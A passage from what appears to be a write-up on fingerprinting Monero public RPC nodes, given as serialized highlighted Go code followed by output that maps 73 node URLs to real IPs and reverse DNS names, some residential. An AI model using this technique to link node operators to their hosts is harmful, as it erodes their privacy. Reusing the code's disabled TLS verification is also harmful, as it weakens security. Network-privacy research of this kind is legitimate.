a",[279,5402,3228],{"class":331},[279,5404,856],{"class":285},[279,5406,819],{"class":285},[279,5408,1676],{"class":1607},[279,5410,678],{"class":285},[279,5412,5413],{"class":1607},"Conn",[279,5415,850],{"class":285},[279,5417,853],{"class":331},[279,5419,856],{"class":285},[279,5421,646],{"class":285},[279,5423,5425,5428,5430,5433,5435,5437,5439,5441,5443,5446,5448,5450],{"class":281,"line":5424},280,[279,5426,5427],{"class":298},"                _",[279,5429,850],{"class":285},[279,5431,5432],{"class":298}," port",[279,5434,850],{"class":285},[279,5436,3004],{"class":298},[279,5438,2984],{"class":285},[279,5440,3352],{"class":298},[279,5442,678],{"class":285},[279,5444,5445],{"class":639},"SplitHostPort",[279,5447,840],{"class":285},[279,5449,31],{"class":298},[279,5451,1734],{"class":285},[279,5453,5455,5458,5460,5462,5464],{"class":281,"line":5454},281,[279,5456,5457],{"class":713},"                if",[279,5459,3004],{"class":298},[279,5461,3007],{"class":285},[279,5463,3010],{"class":285},[279,5465,646],{"class":285},[279,5467,5469,5472,5475],{"class":281,"line":5468},282,[279,5470,5471],{"class":713},"                    return",[279,5473,5474],{"class":285}," nil,",[279,5476,4179],{"class":298},[279,5478,5480],{"class":281,"line":5479},283,[279,5481,5482],{"class":285},"                }\n",[279,5484,5486,5489,5491,5493,5496,5498,5501,5503,5505,5507,5510,5512,5514,5516,5518],{"class":281,"line":5485},284,[279,5487,5488],{"class":713},"                return",[279,5490,3352],{"class":298},[279,5492,678],{"class":285},[279,5494,5495],{"class":639},"Dial",[279,5497,840],{"class":285},[279,5499,5500],{"class":298},"n",[279,5502,850],{"class":285},[279,5504,3352],{"class":298},[279,5506,678],{"class":285},[279,5508,5509],{"class":639},"JoinHostPort",[279,5511,840],{"class":285},[279,5513,3460],{"class":298},[279,5515,850],{"class":285},[279,5517,5432],{"class":298},[279,5519,5520],{"class":285},"))\n",[279,5522,5524],{"class":281,"line":5523},285,[279,5525,5526],{"class":285},"            },\n",[279,5528,5530,5533,5535,5537,5540,5542,5545],{"class":281,"line":5529},286,[279,5531,5532],{"class":298},"            TLSClientConfig",[279,5534,4707],{"class":285},[279,5536,5341],{"class":285},[279,5538,5539],{"class":1607},"tls",[279,5541,678],{"class":285},[279,5543,5544],{"class":1607},"Config",[279,5546,828],{"class":285},[279,5548,5550,5553,5555,5558],{"class":281,"line":5549},287,[279,5551,5552],{"class":298},"                InsecureSkipVerify",[279,5554,4707],{"class":285},[279,5556,5557],{"class":922}," true",[279,5559,4717],{"class":285},[279,5561,5563],{"class":281,"line":5562},288,[279,5564,5526],{"class":285},[279,5566,5568],{"class":281,"line":5567},289,[279,5569,5570],{"class":285},"        },\n",[279,5572,5574,5577,5579,5582,5584,5587,5589,5592],{"class":281,"line":5573},290,[279,5575,5576],{"class":298},"        Timeout",[279,5578,4707],{"class":285},[279,5580,5581],{"class":3209}," 5",[279,5583,5202],{"class":285},[279,5585,5586],{"class":298}," time",[279,5588,678],{"class":285},[279,5590,5591],{"class":298},"Second",[279,5593,4717],{"class":285},[279,5595,5597],{"class":281,"line":5596},291,[279,5598,944],{"class":285},[279,5600,5602,5605,5607,5609,5611,5613,5615,5618,5620,5622,5625,5627,5629,5631,5633,5635,5638,5640,5642],{"class":281,"line":5601},292,[279,5603,5604],{"class":298},"    req",[279,5606,850],{"class":285},[279,5608,3004],{"class":298},[279,5610,2984],{"class":285},[279,5612,4141],{"class":298},[279,5614,678],{"class":285},[279,5616,5617],{"class":639},"NewRequest",[279,5619,840],{"class":285},[279,5621,355],{"class":285},[279,5623,5624],{"class":341},"GET",[279,5626,355],{"class":285},[279,5628,850],{"class":285},[279,5630,3465],{"class":298},[279,5632,3929],{"class":285},[279,5634,355],{"class":285},[279,5636,5637],{"class":341},"\u002Fget_info",[279,5639,355],{"class":285},[279,5641,850],{"class":285},[279,5643,5644],{"class":285}," nil)\n",[279,5646,5648,5650,5652,5654,5656],{"class":281,"line":5647},293,[279,5649,3001],{"class":713},[279,5651,3004],{"class":298},[279,5653,3007],{"class":285},[279,5655,3010],{"class":285},[279,5657,646],{"class":285},[279,5659,5661,5663,5665,5668],{"class":281,"line":5660},294,[279,5662,4176],{"class":713},[279,5664,2039],{"class":1607},[279,5666,5667],{"class":285},"{},",[279,5669,4179],{"class":298},[279,5671,5673],{"class":281,"line":5672},295,[279,5674,944],{"class":285},[279,5676,5678,5680,5682,5684,5686],{"class":281,"line":5677},296,[279,5679,5604],{"class":298},[279,5681,678],{"class":285},[279,5683,4995],{"class":298},[279,5685,335],{"class":285},[279,5687,5688],{"class":298}," host\n",[279,5690,5692,5694,5696,5698,5700,5703,5705,5708,5710,5713],{"class":281,"line":5691},297,[279,5693,4132],{"class":298},[279,5695,850],{"class":285},[279,5697,3004],{"class":298},[279,5699,2984],{"class":285},[279,5701,5702],{"class":298}," client",[279,5704,678],{"class":285},[279,5706,5707],{"class":639},"Do",[279,5709,840],{"class":285},[279,5711,5712],{"class":298},"req",[279,5714,1734],{"class":285},[279,5716,5718,5720,5722,5724,5726],{"class":281,"line":5717},298,[279,5719,3001],{"class":713},[279,5721,3004],{"class":298},[279,5723,3007],{"class":285},[279,5725,3010],{"class":285},[279,5727,646],{"class":285},[279,5729,5731,5733,5735,5737],{"class":281,"line":5730},299,[279,5732,4176],{"class":713},[279,5734,2039],{"class":1607},[279,5736,5667],{"class":285},[279,5738,4179],{"class":298},[279,5740,5742],{"class":281,"line":5741},300,[279,5743,944],{"class":285},[279,5745,5747,5749,5751,5753,5755,5757,5759],{"class":281,"line":5746},301,[279,5748,4190],{"class":713},[279,5750,4193],{"class":298},[279,5752,678],{"class":285},[279,5754,1184],{"class":298},[279,5756,678],{"class":285},[279,5758,4202],{"class":639},[279,5760,3248],{"class":285},[279,5762,5764,5766,5768,5770,5773,5775,5777,5779,5782],{"class":281,"line":5763},302,[279,5765,3001],{"class":713},[279,5767,4193],{"class":298},[279,5769,678],{"class":285},[279,5771,5772],{"class":298},"StatusCode ",[279,5774,3007],{"class":285},[279,5776,4141],{"class":298},[279,5778,678],{"class":285},[279,5780,5781],{"class":298},"StatusOK ",[279,5783,828],{"class":285},[279,5785,5787,5789,5791,5793,5796,5798,5801,5803,5805,5808,5810,5812,5814,5816,5819],{"class":281,"line":5786},303,[279,5788,4176],{"class":713},[279,5790,2039],{"class":1607},[279,5792,5667],{"class":285},[279,5794,5795],{"class":298}," fmt",[279,5797,678],{"class":285},[279,5799,5800],{"class":639},"Errorf",[279,5802,840],{"class":285},[279,5804,355],{"class":285},[279,5806,5807],{"class":341},"Non-OK HTTP status:",[279,5809,355],{"class":285},[279,5811,850],{"class":285},[279,5813,4193],{"class":298},[279,5815,678],{"class":285},[279,5817,5818],{"class":298},"Status",[279,5820,1734],{"class":285},[279,5822,5824],{"class":281,"line":5823},304,[279,5825,944],{"class":285},[279,5827,5829,5831,5834],{"class":281,"line":5828},305,[279,5830,2967],{"class":285},[279,5832,5833],{"class":298}," getInfo ",[279,5835,5836],{"class":1607},"NodeGetInfoResponse\n",[279,5838,5840,5842,5844,5846,5848,5850,5852,5854,5856,5858,5860,5862,5864,5867],{"class":281,"line":5839},306,[279,5841,2981],{"class":298},[279,5843,335],{"class":285},[279,5845,3865],{"class":298},[279,5847,678],{"class":285},[279,5849,4229],{"class":639},[279,5851,840],{"class":285},[279,5853,4234],{"class":298},[279,5855,678],{"class":285},[279,5857,1184],{"class":298},[279,5859,4241],{"class":285},[279,5861,4244],{"class":639},[279,5863,2990],{"class":285},[279,5865,5866],{"class":298},"getInfo",[279,5868,1734],{"class":285},[279,5870,5872],{"class":281,"line":5871},307,[279,5873,628],{"emptyLinePlaceholder":220},[279,5875,5877,5879,5881,5883,5885,5887,5889,5891,5893,5895,5897,5899,5901,5903,5905,5907,5910,5912,5914],{"class":281,"line":5876},308,[279,5878,5604],{"class":298},[279,5880,850],{"class":285},[279,5882,3004],{"class":298},[279,5884,335],{"class":285},[279,5886,4141],{"class":298},[279,5888,678],{"class":285},[279,5890,5617],{"class":639},[279,5892,840],{"class":285},[279,5894,355],{"class":285},[279,5896,5624],{"class":341},[279,5898,355],{"class":285},[279,5900,850],{"class":285},[279,5902,3465],{"class":298},[279,5904,3929],{"class":285},[279,5906,355],{"class":285},[279,5908,5909],{"class":341},"\u002Fget_limit",[279,5911,355],{"class":285},[279,5913,850],{"class":285},[279,5915,5644],{"class":285},[279,5917,5919,5921,5923,5925,5927],{"class":281,"line":5918},309,[279,5920,3001],{"class":713},[279,5922,3004],{"class":298},[279,5924,3007],{"class":285},[279,5926,3010],{"class":285},[279,5928,646],{"class":285},[279,5930,5932,5934,5936,5938],{"class":281,"line":5931},310,[279,5933,4176],{"class":713},[279,5935,2039],{"class":1607},[279,5937,5667],{"class":285},[279,5939,4179],{"class":298},[279,5941,5943],{"class":281,"line":5942},311,[279,5944,944],{"class":285},[279,5946,5948,5950,5952,5954,5956],{"class":281,"line":5947},312,[279,5949,5604],{"class":298},[279,5951,678],{"class":285},[279,5953,4995],{"class":298},[279,5955,335],{"class":285},[279,5957,5688],{"class":298},[279,5959,5961,5963,5965,5967,5969,5971,5973,5975,5977,5979],{"class":281,"line":5960},313,[279,5962,4132],{"class":298},[279,5964,850],{"class":285},[279,5966,3004],{"class":298},[279,5968,335],{"class":285},[279,5970,5702],{"class":298},[279,5972,678],{"class":285},[279,5974,5707],{"class":639},[279,5976,840],{"class":285},[279,5978,5712],{"class":298},[279,5980,1734],{"class":285},[279,5982,5984,5986,5988,5990,5992],{"class":281,"line":5983},314,[279,5985,3001],{"class":713},[279,5987,3004],{"class":298},[279,5989,3007],{"class":285},[279,5991,3010],{"class":285},[279,5993,646],{"class":285},[279,5995,5997,5999,6001,6003],{"class":281,"line":5996},315,[279,5998,4176],{"class":713},[279,6000,2039],{"class":1607},[279,6002,5667],{"class":285},[279,6004,4179],{"class":298},[279,6006,6008],{"class":281,"line":6007},316,[279,6009,944],{"class":285},[279,6011,6013,6015,6017,6019,6021,6023,6025],{"class":281,"line":6012},317,[279,6014,4190],{"class":713},[279,6016,4193],{"class":298},[279,6018,678],{"class":285},[279,6020,1184],{"class":298},[279,6022,678],{"class":285},[279,6024,4202],{"class":639},[279,6026,3248],{"class":285},[279,6028,6030,6032,6034,6036,6038,6040,6042,6044,6046],{"class":281,"line":6029},318,[279,6031,3001],{"class":713},[279,6033,4193],{"class":298},[279,6035,678],{"class":285},[279,6037,5772],{"class":298},[279,6039,3007],{"class":285},[279,6041,4141],{"class":298},[279,6043,678],{"class":285},[279,6045,5781],{"class":298},[279,6047,828],{"class":285},[279,6049,6051,6053,6055,6057,6059,6061,6063,6065,6067,6069,6071,6073,6075,6077,6079],{"class":281,"line":6050},319,[279,6052,4176],{"class":713},[279,6054,2039],{"class":1607},[279,6056,5667],{"class":285},[279,6058,5795],{"class":298},[279,6060,678],{"class":285},[279,6062,5800],{"class":639},[279,6064,840],{"class":285},[279,6066,355],{"class":285},[279,6068,5807],{"class":341},[279,6070,355],{"class":285},[279,6072,850],{"class":285},[279,6074,4193],{"class":298},[279,6076,678],{"class":285},[279,6078,5818],{"class":298},[279,6080,1734],{"class":285},[279,6082,6084],{"class":281,"line":6083},320,[279,6085,944],{"class":285},[279,6087,6089,6091,6094],{"class":281,"line":6088},321,[279,6090,2967],{"class":285},[279,6092,6093],{"class":298}," getLimit ",[279,6095,6096],{"class":1607},"NodeGetLimitResponse\n",[279,6098,6100,6102,6104,6106,6108,6110,6112,6114,6116,6118,6120,6122,6124,6127],{"class":281,"line":6099},322,[279,6101,2981],{"class":298},[279,6103,335],{"class":285},[279,6105,3865],{"class":298},[279,6107,678],{"class":285},[279,6109,4229],{"class":639},[279,6111,840],{"class":285},[279,6113,4234],{"class":298},[279,6115,678],{"class":285},[279,6117,1184],{"class":298},[279,6119,4241],{"class":285},[279,6121,4244],{"class":639},[279,6123,2990],{"class":285},[279,6125,6126],{"class":298},"getLimit",[279,6128,1734],{"class":285},[279,6130,6132],{"class":281,"line":6131},323,[279,6133,628],{"emptyLinePlaceholder":220},[279,6135,6137,6139,6141,6143,6145,6147,6149,6151,6153,6155,6157,6159,6161,6163,6165,6167,6170,6172,6174],{"class":281,"line":6136},324,[279,6138,5604],{"class":298},[279,6140,850],{"class":285},[279,6142,3004],{"class":298},[279,6144,335],{"class":285},[279,6146,4141],{"class":298},[279,6148,678],{"class":285},[279,6150,5617],{"class":639},[279,6152,840],{"class":285},[279,6154,355],{"class":285},[279,6156,5624],{"class":341},[279,6158,355],{"class":285},[279,6160,850],{"class":285},[279,6162,3465],{"class":298},[279,6164,3929],{"class":285},[279,6166,355],{"class":285},[279,6168,6169],{"class":341},"\u002Fget_alt_blocks_hashes",[279,6171,355],{"class":285},[279,6173,850],{"class":285},[279,6175,5644],{"class":285},[279,6177,6179,6181,6183,6185,6187],{"class":281,"line":6178},325,[279,6180,3001],{"class":713},[279,6182,3004],{"class":298},[279,6184,3007],{"class":285},[279,6186,3010],{"class":285},[279,6188,646],{"class":285},[279,6190,6192,6194,6196,6198],{"class":281,"line":6191},326,[279,6193,4176],{"class":713},[279,6195,2039],{"class":1607},[279,6197,5667],{"class":285},[279,6199,4179],{"class":298},[279,6201,6203],{"class":281,"line":6202},327,[279,6204,944],{"class":285},[279,6206,6208,6210,6212,6214,6216],{"class":281,"line":6207},328,[279,6209,5604],{"class":298},[279,6211,678],{"class":285},[279,6213,4995],{"class":298},[279,6215,335],{"class":285},[279,6217,5688],{"class":298},[279,6219,6221,6223,6225,6227,6229,6231,6233,6235,6237,6239],{"class":281,"line":6220},329,[279,6222,4132],{"class":298},[279,6224,850],{"class":285},[279,6226,3004],{"class":298},[279,6228,335],{"class":285},[279,6230,5702],{"class":298},[279,6232,678],{"class":285},[279,6234,5707],{"class":639},[279,6236,840],{"class":285},[279,6238,5712],{"class":298},[279,6240,1734],{"class":285},[279,6242,6244,6246,6248,6250,6252],{"class":281,"line":6243},330,[279,6245,3001],{"class":713},[279,6247,3004],{"class":298},[279,6249,3007],{"class":285},[279,6251,3010],{"class":285},[279,6253,646],{"class":285},[279,6255,6257,6259,6261,6263],{"class":281,"line":6256},331,[279,6258,4176],{"class":713},[279,6260,2039],{"class":1607},[279,6262,5667],{"class":285},[279,6264,4179],{"class":298},[279,6266,6268],{"class":281,"line":6267},332,[279,6269,944],{"class":285},[279,6271,6273,6275,6277,6279,6281,6283,6285],{"class":281,"line":6272},333,[279,6274,4190],{"class":713},[279,6276,4193],{"class":298},[279,6278,678],{"class":285},[279,6280,1184],{"class":298},[279,6282,678],{"class":285},[279,6284,4202],{"class":639},[279,6286,3248],{"class":285},[279,6288,6290,6292,6294,6296,6298,6300,6302,6304,6306],{"class":281,"line":6289},334,[279,6291,3001],{"class":713},[279,6293,4193],{"class":298},[279,6295,678],{"class":285},[279,6297,5772],{"class":298},[279,6299,3007],{"class":285},[279,6301,4141],{"class":298},[279,6303,678],{"class":285},[279,6305,5781],{"class":298},[279,6307,828],{"class":285},[279,6309,6311,6313,6315,6317,6319,6321,6323,6325,6327,6329,6331,6333,6335,6337,6339],{"class":281,"line":6310},335,[279,6312,4176],{"class":713},[279,6314,2039],{"class":1607},[279,6316,5667],{"class":285},[279,6318,5795],{"class":298},[279,6320,678],{"class":285},[279,6322,5800],{"class":639},[279,6324,840],{"class":285},[279,6326,355],{"class":285},[279,6328,5807],{"class":341},[279,6330,355],{"class":285},[279,6332,850],{"class":285},[279,6334,4193],{"class":298},[279,6336,678],{"class":285},[279,6338,5818],{"class":298},[279,6340,1734],{"class":285},[279,6342,6344],{"class":281,"line":6343},336,[279,6345,944],{"class":285},[279,6347,6349,6351,6354],{"class":281,"line":6348},337,[279,6350,2967],{"class":285},[279,6352,6353],{"class":298}," getAltBlocksHashes ",[279,6355,6356],{"class":1607},"NodeGetAltBlocksHashesResponse\n",[279,6358,6360,6362,6364,6366,6368,6370,6372,6374,6376,6378,6380,6382,6384,6387],{"class":281,"line":6359},338,[279,6361,2981],{"class":298},[279,6363,335],{"class":285},[279,6365,3865],{"class":298},[279,6367,678],{"class":285},[279,6369,4229],{"class":639},[279,6371,840],{"class":285},[279,6373,4234],{"class":298},[279,6375,678],{"class":285},[279,6377,1184],{"class":298},[279,6379,4241],{"class":285},[279,6381,4244],{"class":639},[279,6383,2990],{"class":285},[279,6385,6386],{"class":298},"getAltBlocksHashes",[279,6388,1734],{"class":285},[279,6390,6392],{"class":281,"line":6391},339,[279,6393,628],{"emptyLinePlaceholder":220},[279,6395,6397,6400,6402,6404],{"class":281,"line":6396},340,[279,6398,6399],{"class":298},"    identifyInfo ",[279,6401,2984],{"class":285},[279,6403,2039],{"class":1607},[279,6405,828],{"class":285},[279,6407,6409,6412,6414,6417],{"class":281,"line":6408},341,[279,6410,6411],{"class":298},"        NodeGetInfoResponse",[279,6413,4707],{"class":285},[279,6415,6416],{"class":298},"            getInfo",[279,6418,4717],{"class":285},[279,6420,6422,6425,6427,6430],{"class":281,"line":6421},342,[279,6423,6424],{"class":298},"        NodeGetLimitResponse",[279,6426,4707],{"class":285},[279,6428,6429],{"class":298},"           getLimit",[279,6431,4717],{"class":285},[279,6433,6435,6438,6440,6443],{"class":281,"line":6434},343,[279,6436,6437],{"class":298},"        NodeGetAltBlocksHashesResponse",[279,6439,4707],{"class":285},[279,6441,6442],{"class":298}," getAltBlocksHashes",[279,6444,4717],{"class":285},[279,6446,6448],{"class":281,"line":6447},344,[279,6449,944],{"class":285},[279,6451,6453,6455,6458,6460],{"class":281,"line":6452},345,[279,6454,4425],{"class":713},[279,6456,6457],{"class":298}," identifyInfo",[279,6459,850],{"class":285},[279,6461,4179],{"class":298},[279,6463,6465],{"class":281,"line":6464},346,[279,6466,949],{"class":285},[12,6468,6469,6470,4707],{},"And we got such output out of it ",[276,6471,6472],{},"{ip} {reverse_dns} {node_url}",[270,6474,6477],{"className":6475,"code":6476,"language":1268},[1266],"Host group 1\n81.163.200.3 pppoe-dynamic-a-3.interblock.pl. http:\u002F\u002F81.163.200.3:18089\n\nHost group 2\n172.232.19.26 172-232-19-26.ip.linodeusercontent.com. http:\u002F\u002Fxmr-node.agates.io:18089\n2600:3c06:1::ace8:131a nil http:\u002F\u002Fxmr-node.agates.io:18089\n\nHost group 3\n84.23.142.12 012.ftthmackmyra1.gavlenet.com. http:\u002F\u002Fopennode.xmr-tw.org:18089\n84.23.142.12 012.ftthmackmyra1.gavlenet.com. https:\u002F\u002Fopennode.xmr-tw.org:18089\n84.23.142.12 012.ftthmackmyra1.gavlenet.com. http:\u002F\u002Fxmr.monopolymoney.eu:18089\n\nHost group 4\n147.45.79.135 nil http:\u002F\u002Fmonerodice.pro:18089\n\nHost group 5\n65.109.30.253 iv.datura.network. https:\u002F\u002Fdatura.network:18081\n65.109.30.253 iv.datura.network. http:\u002F\u002Fdatura.network:18081\n\nHost group 6\n82.153.138.209 nil http:\u002F\u002F82.153.138.209:18089\n\nHost group 7\n37.27.70.253 crypto.cruncher.com. https:\u002F\u002Fcrypto.cruncher.com:18081\n\nHost group 8\n88.99.195.15 static.15.195.99.88.clients.your-server.de. http:\u002F\u002Fnode3.monerodevs.org:18089\n\nHost group 9\n2a01:4f8:231:76a::2 cheems.de.box.skhron.com.ua. https:\u002F\u002Fmonero-rpc.cheems.de.box.skhron.com.ua:18089\n195.201.247.11 cheems.de.box.skhron.com.ua. https:\u002F\u002Fmonero-rpc.cheems.de.box.skhron.com.ua:18089\n\nHost group 10\n172.105.13.82 xmr.grub.net. http:\u002F\u002Fxmr.grub.net:18089\n172.105.13.82 xmr.grub.net. https:\u002F\u002Fxmr.grub.net:18089\n\nHost group 11\n167.114.172.211 xmr.robmanfred.fail. http:\u002F\u002Fxmr.robmanfred.fail:18081\n\nHost group 12\n65.21.185.116 static.116.185.21.65.clients.your-server.de. http:\u002F\u002Fnode.yeetin.me:18089\n\nHost group 13\n87.197.115.178 static-dsl-178.87-197-115.telecom.sk. https:\u002F\u002Fxmr.why.tf:18081\n\nHost group 14\n2a0b:f4c2:2::63 tor-exit-63.for-privacy.net. http:\u002F\u002Fxmr-de.boldsuck.org:18081\n\nHost group 15\n185.218.124.120 vmi2088507.contaboserver.net. http:\u002F\u002F185.218.124.120:18889\n\nHost group 16\n175.38.15.166 n175-38-15-166.meb2.vic.optusnet.com.au. http:\u002F\u002F175.38.15.166:18081\n\nHost group 17\n51.68.212.53 vps-4a3dd5a8.vps.ovh.net. http:\u002F\u002Fxmr-full.p2pool.uk:18089\n\nHost group 18\n185.240.242.36 nodes.hashvault.pro. https:\u002F\u002Fnodes.hashvault.pro:18081\n185.240.242.36 nodes.hashvault.pro. http:\u002F\u002Fnodes.hashvault.pro:18081\n\nHost group 19\n92.131.11.157 alille-657-1-66-157.w92-131.abo.wanadoo.fr. https:\u002F\u002Fxmr.mailia.be:18088\n2a01:cb10:249:7300::6 nil https:\u002F\u002Fxmr.mailia.be:18088\n\nHost group 20\n135.125.206.110 vps-6fef879a.vps.ovh.net. http:\u002F\u002Fmonero.earth:18081\n135.125.206.110 vps-6fef879a.vps.ovh.net. http:\u002F\u002Fvps-6fef879a.vps.ovh.net:18081\n\nHost group 21\n176.114.248.225 176-114-248-225.rychlydrat.cz. http:\u002F\u002Fserver.cnet.cz:18081\n\nHost group 22\n213.165.76.129 ip213-165-76-129.pbiaas.com. http:\u002F\u002Fnode.xmr.rocks:18089\n\nHost group 23\n79.205.108.252 p4fcd6cfc.dip0.t-ipconnect.de. http:\u002F\u002Fnexper-xmr-node.tplinkdns.com:18081\n\nHost group 24\n65.21.100.162 eu.node.monero.net. https:\u002F\u002Fnode.monero.net:18081\n\nHost group 25\n95.216.15.156 moneronode1.relaycrun.ch. http:\u002F\u002Fmoneronode1.relaycrun.ch:18081\n\nHost group 26\n167.235.112.134 static.134.112.235.167.clients.your-server.de. http:\u002F\u002F167.235.112.134:18081\n\nHost group 27\n92.131.11.157 alille-657-1-66-157.w92-131.abo.wanadoo.fr. https:\u002F\u002Fnode.mailia.be:18085\n2a01:cb10:249:7300:b:c:b:c nil https:\u002F\u002Fnode.mailia.be:18085\n\nHost group 28\n103.176.58.34 druckt.mavibettv74.com. http:\u002F\u002Fthereisnospoon.pm:18089\n\nHost group 29\n144.91.121.7 vmd62396.contaboserver.net. http:\u002F\u002F144.91.121.7:18089\n144.91.121.7 vmd62396.contaboserver.net. http:\u002F\u002Feconanon.com:18089\n\nHost group 30\n37.120.165.105 v22019017574680478.happysrv.de. http:\u002F\u002Fnode.cryptocano.de:18089\n\nHost group 31\n162.210.173.15 monero.forked.net. http:\u002F\u002Fmonero.forked.net:18089\n\nHost group 32\n23.128.248.240 nil http:\u002F\u002Fxmr.stormycloud.org:18089\n2602:fc05::240 nil http:\u002F\u002Fxmr.stormycloud.org:18089\n\nHost group 33\n71.229.155.41 c-71-229-155-41.hsd1.co.comcast.net. http:\u002F\u002Fxmrbandwagon.hopto.org:18081\n\nHost group 34\n202.61.250.91 next.fackler.cloud. http:\u002F\u002Fmonero-g2.hexhex.online:18081\n\nHost group 35\n2a0b:f4c2:2:1::223 nil http:\u002F\u002Fxmr-de-2.boldsuck.org:18081\n185.220.101.223 tor-exit-223.for-privacy.net. http:\u002F\u002Fxmr-de-2.boldsuck.org:18081\n185.220.101.223 tor-exit-223.for-privacy.net. http:\u002F\u002Ftor-exit-223.for-privacy.net:18081\n2a0b:f4c2:2:1::223 nil http:\u002F\u002Ftor-exit-223.for-privacy.net:18081\n\nHost group 36\n207.66.71.46 nil http:\u002F\u002Fmonero.sphinxlogic.com:18089\n\nHost group 37\n185.112.144.198 vps-185-112-144-198.1984.is. http:\u002F\u002F185.112.144.198:18089\n\nHost group 38\n151.48.191.155 adsl-ull-155-191.48-151.wind.it. http:\u002F\u002Fedge7.servebeer.com:18089\n\nHost group 39\n15.204.197.8 monero.stackwallet.com. https:\u002F\u002Fmonero.stackwallet.com:18081\n\nHost group 40\n190.115.19.98 mail.miningcompany.ltd. http:\u002F\u002Fnode.majesticbank.at:18089\n190.115.19.98 mail.miningcompany.ltd. http:\u002F\u002Fnode.majesticbank.is:18089\n\nHost group 41\n14.224.137.18 static.vnpt.vn. http:\u002F\u002Fmonero.hexalink.xyz:18081\n\nHost group 42\n85.160.78.94 85-160-78-94.reb.o2.cz. http:\u002F\u002F85.160.78.94:18089\n\nHost group 43\n194.163.176.218 hantaan.fullm00n.de. http:\u002F\u002F194.163.176.218:18089\n194.163.176.218 hantaan.fullm00n.de. http:\u002F\u002Fhantaan.fullm00n.de:18089\n\nHost group 44\n193.200.227.16 dc1-nat.filmweb.pl. http:\u002F\u002Fmonero.filmweb.pl:18081\n193.200.227.16 dc1-nat.filmweb.pl. http:\u002F\u002F193.200.227.16:18081\n\nHost group 45\n37.187.74.171 ns3365046.ip-37-187-74.eu. http:\u002F\u002Fnode.moneroworld.com:18089\n37.187.74.171 ns3365046.ip-37-187-74.eu. https:\u002F\u002Fnode.moneroworld.com:18089\n37.187.74.171 ns3365046.ip-37-187-74.eu. http:\u002F\u002Fnode2.monerodevs.org:18089\n\nHost group 46\n23.154.81.12 mail.yuuta.moe. https:\u002F\u002Fxmr.winslow.cloud:18081\n185.218.124.120 vmi2088507.contaboserver.net. http:\u002F\u002F185.218.124.120:18989\n\nHost group 47\n65.100.46.162 65-100-46-162.dia.static.qwest.net. http:\u002F\u002Fmoneronode.xyz:18089\n2602:41:642e:a610::251 nil http:\u002F\u002Fmoneronode.xyz:18089\n\nHost group 48\n188.245.34.63 static.63.34.245.188.clients.your-server.de. http:\u002F\u002Fstatic.63.34.245.188.clients.your-server.de:18089\n\nHost group 49\n23.137.57.100 nil http:\u002F\u002Fnode.sethforprivacy.com:18089\n68.118.241.70 syn-068-118-241-070.res.spectrum.com. http:\u002F\u002F68.118.241.70:18089\n23.137.57.100 nil https:\u002F\u002Fnode.sethforprivacy.com:18089\n\nHost group 50\n192.99.8.110 ns508306.ip-192-99-8.net. http:\u002F\u002Fnode.moneroworld.com:18089\n192.99.8.110 ns508306.ip-192-99-8.net. https:\u002F\u002Fnode.moneroworld.com:18089\n192.99.8.110 ns508306.ip-192-99-8.net. https:\u002F\u002Fuwillrunanodesoon.moneroworld.com:18089\n192.99.8.110 ns508306.ip-192-99-8.net. http:\u002F\u002Fopennode.xmr-tw.org:18089\n192.99.8.110 ns508306.ip-192-99-8.net. http:\u002F\u002Fuwillrunanodesoon.moneroworld.com:18089\n192.99.8.110 ns508306.ip-192-99-8.net. https:\u002F\u002Fopennode.xmr-tw.org:18089\n192.99.8.110 ns508306.ip-192-99-8.net. http:\u002F\u002Fnode.monerodevs.org:18089\n\nHost group 51\n38.105.209.54 vmi732985.contaboserver.net. http:\u002F\u002F38.105.209.54:18089\n\nHost group 52\n185.218.124.120 vmi2088507.contaboserver.net. http:\u002F\u002F185.218.124.120:18189\n\nHost group 53\n70.77.245.214 S010694a67ee915ac.cg.shawcable.net. http:\u002F\u002Fcompking.ddns.net:18089\n\nHost group 54\n194.163.172.26 btc.heelsn.eu. https:\u002F\u002Fxmr.heelsn.eu:18089\n\nHost group 55\n23.137.254.9 nil http:\u002F\u002F23.137.254.9:18081\n\nHost group 56\n135.181.202.85 static.85.202.181.135.clients.your-server.de. http:\u002F\u002Fstatic.85.202.181.135.clients.your-server.de:18089\n\nHost group 57\n83.135.90.98 i53875A62.versanet.de. http:\u002F\u002Fmonero.firewall-gateway.de:18081\n\nHost group 58\n77.237.238.26 vmi1839646.contaboserver.net. http:\u002F\u002F77.237.238.26:18081\n77.237.238.26 vmi1839646.contaboserver.net. http:\u002F\u002Fxmr.perkele.digital:18081\n\nHost group 59\n64.74.162.85 nil http:\u002F\u002Fxmr.vectorlink.io:18089\n\nHost group 60\n184.107.109.143 nil http:\u002F\u002Fxmr.vectorlink.io:18089\n\nHost group 61\n68.251.60.69 68-251-60-69.lightspeed.sntcca.sbcglobal.net. http:\u002F\u002F68.251.60.69:18089\n\nHost group 62\n179.43.158.213 hostedby.privatelayer.com. https:\u002F\u002Fxmr.yemekyedim.com:18089\n179.43.158.213 hostedby.privatelayer.com. http:\u002F\u002Fxmr.yemekyedim.com:18081\n179.43.158.213 hostedby.privatelayer.com. http:\u002F\u002F179.43.158.213:18089\n179.43.158.213 hostedby.privatelayer.com. https:\u002F\u002Fxmr.yemekyedim.com:18081\n\nHost group 63\n185.218.124.120 vmi2088507.contaboserver.net. http:\u002F\u002F185.218.124.120:18689\n\nHost group 64\n69.85.89.42 nil http:\u002F\u002Fxmr.tcpcat.net:18089\n\nHost group 65\n188.40.85.196 static.196.85.40.188.clients.your-server.de. http:\u002F\u002Fmonero.homelinux.org:18081\n\nHost group 66\n185.218.124.120 vmi2088507.contaboserver.net. http:\u002F\u002F185.218.124.120:18489\n185.218.124.120 vmi2088507.contaboserver.net. http:\u002F\u002F185.218.124.120:18789\n179.36.224.11 179-36-224-11.speedy.com.ar. http:\u002F\u002Fmonero.10z.com.ar:18089\n\nHost group 67\n51.195.219.36 anstee.dev. https:\u002F\u002Fanstee.dev:18081\n2001:41d0:801:2000::5811 anstee.dev. https:\u002F\u002Fanstee.dev:18081\n\nHost group 68\n185.218.124.120 vmi2088507.contaboserver.net. http:\u002F\u002F185.218.124.120:18389\n\nHost group 69\n93.95.228.74 vps-93-95-228-74.1984.is. http:\u002F\u002F93.95.228.74:18089\n\nHost group 70\n146.185.21.170 nil http:\u002F\u002Fp2pool.uk:18089\n146.185.21.170 nil http:\u002F\u002Fxmr-pruned.p2pool.uk:18089\n\nHost group 71\n185.66.143.190 nil http:\u002F\u002Fxmr.litepay.ch:18081\n\nHost group 72\n65.109.50.106 static.106.50.109.65.clients.your-server.de. http:\u002F\u002F65.109.50.106:18081\n\nHost group 73\n190.211.255.227 public.deepdns.net. 